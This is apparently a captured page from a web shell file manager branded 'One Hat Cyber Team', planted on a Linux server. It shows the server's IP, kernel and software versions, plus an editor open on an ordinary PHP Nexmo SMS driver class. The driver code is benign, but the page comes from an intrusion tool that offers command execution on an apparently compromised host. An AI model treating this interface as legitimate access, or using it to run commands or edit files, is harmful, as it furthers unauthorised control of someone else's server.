⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.1
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
muhasebe
/
modules
/
Sms
/
Core
/
Drivers
/
Edit File: NexmoDriver.php
<?php namespace Modules\Sms\Core\Drivers; use Modules\Sms\Core\Exceptions\SmsException; use phpDocumentor\Reflection\DocBlock\Tags\Throws; class NexmoDriver extends Driver { protected $config; public function __construct($config) { $this->config = $config; } public function send() { $data = [ 'from'=>$this->config['from'], 'text'=>$this->message, 'to'=>$this->recipient, 'api_key'=>$this->config['key'], 'api_secret'=>$this->config['secret'], ]; $curl = $this->nexmoCurl($data); $result = json_decode($curl,true); if(!empty($result['messages'][0]['error-text'])){ throw new SmsException($result['messages'][0]['error-text']); } return $result; } public function nexmoCurl($data){ $ch = curl_init(); curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $this->config['url']); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); curl_setopt($ch, CURLOPT_POST, count($data)); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data)); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json')); $result = curl_exec($ch); curl_close($ch); return $result; } }
Simpan